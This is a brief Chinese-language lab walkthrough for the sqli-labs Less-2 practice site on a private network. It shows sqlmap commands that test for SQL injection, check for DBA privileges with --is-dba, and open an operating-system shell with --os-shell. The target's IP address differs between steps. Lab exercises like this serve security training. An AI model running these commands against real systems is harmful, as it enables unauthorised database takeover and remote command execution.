漏洞利用
访问网站网址
http:192.168.126.130/sqlilabs/sqli-labs-master/Less-2/
① sqlmap注入测试
http://192.168.126.192/sqlilabs/sqli-labs-master/Less-2/?id=1
② --is-dba
在使用 –os-shell 获取操作系统 shell 的时候,要先确定当前用户是否为管理员权限。
sqlmap -u http://192.168.126.192/sqlilabs/sqli-labs-master/Less-2/?id=1 --is-dba
③–os-shell
如果 current user is DBA: Ture 说明可以对靶机目录/文件进行
sqlmap -u http://192.168.126.192/sqlilabs/sqli-labs-master/Less-2/?id=1 --os-shell